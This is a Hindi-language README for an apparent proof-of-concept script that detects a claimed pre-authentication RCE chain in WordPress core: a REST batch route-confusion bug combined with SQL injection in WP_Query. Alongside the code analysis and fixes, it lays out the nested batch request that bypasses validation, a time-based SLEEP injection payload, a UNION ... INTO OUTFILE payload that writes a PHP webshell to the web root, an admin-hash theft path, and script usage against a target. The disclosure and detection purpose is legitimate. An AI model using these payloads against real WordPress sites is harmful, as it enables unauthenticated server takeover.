
REST API batch route भ्रम + WP_Query SQLi के माध्यम से WordPress Core में Pre-auth RCE (CVE-2026-63030 / CVE-2026-60137). Detection PoC.
पूर्व-प्रमाणीकरण, अप्रमाणित, किसी प्लगइन की आवश्यकता नहीं। REST API बैच एंडपॉइंट के माध्यम से एक स्टॉक WordPress इंस्टॉल पर काम करता है।
| CVE | CVE-2026-63030 (रूट कन्फ्यूज़न → RCE) + CVE-2026-60137 (SQLi) |
| GHSA | GHSA-ff9f-jf42-662q · GHSA-fpp7-x2x2-2mjf |
| खोजकर्ता | Adam Kues — Assetnote / Searchlight Cyber (उपनाम "wp2shell") |
| प्रभावित | WordPress 6.9.0 – 6.9.4, 7.0.0 – 7.0.1 (पूर्ण RCE श्रृंखला) · 6.8.0 – 6.8.5 (केवल SQLi) |
| पैच किया गया | 6.8.6, 6.9.5, 7.0.2, 7.1-beta2 |
| CVSS | क्रिटिकल (RCE श्रृंखला) / मध्यम (SQLi अकेला) |
| शोधकर्ता का ब्लॉग | https://slcyber.io/research-center/wp2shell-pre-authentication-rce-in-wordpress-core/ |
WordPress कोर में दो बग, जो अप्रमाणित रिमोट कोड निष्पादन में श्रृंखलाबद्ध हो सकते हैं:
WP_Query में SQL इंजेक्शन जब author__not_in एक स्ट्रिंग होता है बजाय एक सरणी के — is_array() सैनिटाइज़ेशन गार्ड को छोड़ दिया जाता है और कच्चा मान एक NOT IN (...) खंड में सम्मिलित हो जाता है।WP_REST_Server::serve_batch_request_v1() में बैच रूट कन्फ्यूज़न — WP_Error उप-अनुरोधों को $validation[] में धकेल दिया जाता है लेकिन $matches[] में नहीं, जिससे +1 इंडेक्स शिफ्ट होता है। उप-अनुरोध i गलती से उप-अनुरोध i+1 के हैंडलर के साथ भेज दिया जाता है।कोई भी बग अकेला पर्याप्त नहीं है: REST API author_exclude को WP_Query तक पहुँचने से पहले सैनिटाइज़ करता है (type: array, items: integer), और बैच एंडपॉइंट GET उप-अनुरोधों को अस्वीकार करता है (enum: POST, PUT, PATCH, DELETE)। दोहरे कन्फ्यूज़न के माध्यम से उन्हें श्रृंखलाबद्ध करके दोनों सुरक्षाओं को बाइपास किया जाता है और SQLi तक अप्रमाणित पहुँच प्राप्त की जाती है।
src/wp-includes/class-wp-query.php (CVE-2026-60137)कमज़ोर (6.9.4):
if ( ! empty( $query_vars['author__not_in'] ) ) {
if ( is_array( $query_vars['author__not_in'] ) ) { // स्ट्रिंग → छोड़ दिया गया
$query_vars['author__not_in'] = array_unique( array_map( 'absint', $query_vars['author__not_in'] ) );
sort( $query_vars['author__not_in'] );
}
$author__not_in = implode( ',', (array) $query_vars['author__not_in'] );
$where .= " AND {$wpdb->posts}.post_author NOT IN ($author__not_in) ";
}
जब author__not_in एक स्ट्रिंग होता है, तो is_array() शाखा को छोड़ दिया जाता है; (array) "payload" का मान ["payload"] होता है; implode(',', ...) कच्ची स्ट्रिंग लौटाता है, जो सीधे SQL में सम्मिलित हो जाती है।
फिक्स (6.9.5): wp_parse_id_list() का उपयोग करें जो किसी भी इनपुट आकार को स्वीकार करता है और एक सैनिटाइज़्ड पूर्णांक सूची लौटाता है।
src/wp-includes/rest-api/class-wp-rest-server.php (CVE-2026-63030)// मान्यकरण लूप
foreach ( $requests as $single_request ) {
if ( is_wp_error( $single_request ) ) {
$has_error = true;
// ❌ $matches[] नहीं जोड़ा गया
$validation[] = $single_request;
continue;
}
$match = $this->match_request_to_handler( $single_request );
$matches[] = $match;
...
}
// प्रेषण लूप — मूल $i के साथ $matches[$i] को अनुक्रमित करता है
foreach ( $requests as $i => $single_request ) {
...
$match = $matches[ $i ]; // ← WP_Error के बाद एक-से-कम
list( $route, $handler ) = $match;
$result = $this->respond_to_request( $single_request, $route, $handler, $error );
}
पोज़ीशन 0 पर एक एकल WP_Error उप-अनुरोध (जैसे, गलत पथ) प्रत्येक बाद की प्रविष्टि को एक से शिफ्ट कर देता है। फिर अनुरोध i को अनुरोध i+1 के हैंडलर के साथ भेज दिया जाता है।
फिक्स (6.9.5): एरर केस के लिए भी $matches[] = $single_request; जोड़ें। अतिरिक्त सख्ती एक प्रेषण पहले से चल रहे होने पर rest_api_loaded() / serve_request() को शॉर्ट-सर्किट करती है।
┌──────────────────────────────────────────────────────────────────────┐
│ बाहरी बैच (POST /wp-json/batch/v1) │
│ │
│ [0] path = "http://" → WP_Error, $matches में नहीं │
│ [1] path = "/wp/v2/categories" → बॉडी में नेस्टेड बैच लेकर चलता है │
│ body = { "name": "x", │
│ "requests": [ आंतरिक_बैच ] } │
│ श्रेणियों के विरुद्ध मान्य किया गया → "requests" फ़ील्ड अछूता │
│ [2] path = "/batch/v1" → बैच हैंडलर → [1] पर शिफ्ट होता है │
│ │
│ बाहरी शिफ्ट: request[1] request[2] के हैंडलर = │
│ serve_batch_request_v1 के साथ भेजा गया। बैच एंडपॉइंट में कोई │
│ permission_callback नहीं है → अप्रमाणित फायर करता है। request[1] │
│ के बॉडी को *श्रेणियों* रूट के विरुद्ध मान्य किया गया था, इसलिए │
│ नेस्टेड उप-अनुरोधों को बैच विधि एनम के विरुद्ध कभी जाँचा नहीं गया │
│ → आंतरिक उप-अनुरोध GET का उपयोग कर सकते हैं। │
├──────────────────────────────────────────────────────────────────────┤
│ आंतरिक बैच (serve_batch_request_v1 के अंदर संसाधित) │
│ │
│ [0] path = "http://" → WP_Error, $matches में नहीं │
│ [1] GET /wp/v2/categories │
│ ?author_exclude=<SQLi_PAYLOAD> │
│ श्रेणियों के विरुद्ध मान्य किया गया → author_exclude सैनिटाइज़│
│ नहीं हुआ │
│ [2] GET /wp/v2/posts → get_items हैंडलर → [1] पर शिफ्ट │
│ │
│ आंतरिक शिफ्ट: inner[1] inner[2] के हैंडलर = │
│ WP_REST_Posts_Controller::get_items के साथ भेजा गया। असैनिटाइज़्ड │
│ स्ट्रिंग author_exclude को author__not_in पर मैप किया जाता है और │
│ WP_Query को भेजा जाता है → SQL इंजेक्शन। │
└──────────────────────────────────────────────────────────────────────┘
परिणामी SQL खंड है:
AND wp_posts.post_author NOT IN ( 1) OR SLEEP(N)-- - )
SLEEP(N) प्रत्येक मेल खाने वाली पोस्ट पंक्ति के लिए एक बार फायर करता है, इसलिए कुल विलंब लगभग N × <प्रकाशित पोस्टों की संख्या> सेकंड है।
SELECT-केवल इंजेक्शन (कोई स्टैक्ड क्वेरी नहीं, $wpdb mysqli_query का उपयोग करता है) अभी भी विशिष्ट LAMP स्टैक पर RCE देता है जब MySQL उपयोगकर्ता के पास FILE विशेषाधिकार होता है — जो कई साझा होस्टर्स और स्व-प्रबंधित सर्वरों पर डिफ़ॉल्ट है:
1) UNION SELECT 0x3C3F70687020...3F3E INTO OUTFILE '/var/www/html/x.php'/*
वेब रूट में एक PHP वेबशेल लिखता है, जो /x.php पर पहुँच योग्य है।
वैकल्पिक पथ (कोई FILE विशेषाधिकार आवश्यक नहीं) में UNION/बूलियन ब्लाइंड SQLi के माध्यम से व्यवस्थापक पासवर्ड हैश पढ़ना और प्रमाणित व्यवस्थापक UI के माध्यम से एक दुर्भावनापूर्ण प्लगइन अपलोड करना शामिल है।
usage: poc_wp_batch_sqli.py [-h] -t TARGET [--sleep SLEEP]
[--confusion-only] [--no-color] [-v]
PoC दो गैर-विनाशकारी परीक्षण करता है:
| परीक्षण | विधि | सुरक्षित? |
|---|---|---|
| रूट कन्फ्यूज़न (CVE-2026-63030) | संरचनात्मक — आंतरिक अनुरोध[1] (श्रेणियाँ) को पोस्ट हैंडलर के साथ भेजा गया है या नहीं, यह प्रतिक्रिया बॉडी में पोस्ट-केवल फ़ील्ड की जाँच करके सत्यापित करता है | हाँ |
| SQLi (CVE-2026-60137) | समय-आधारित ब्लाइंड — author_exclude के माध्यम से SLEEP(N) इंजेक्ट करता है और एक सौम्य बेसलाइन बनाम विलंबता मापता है | हाँ |
# मूल उपयोग
python3 poc_wp_batch_sqli.py -t http://target/
# तेज़ ट्राइज के लिए छोटा SLEEP
python3 poc_wp_batch_sqli.py -t http://target/ --sleep 3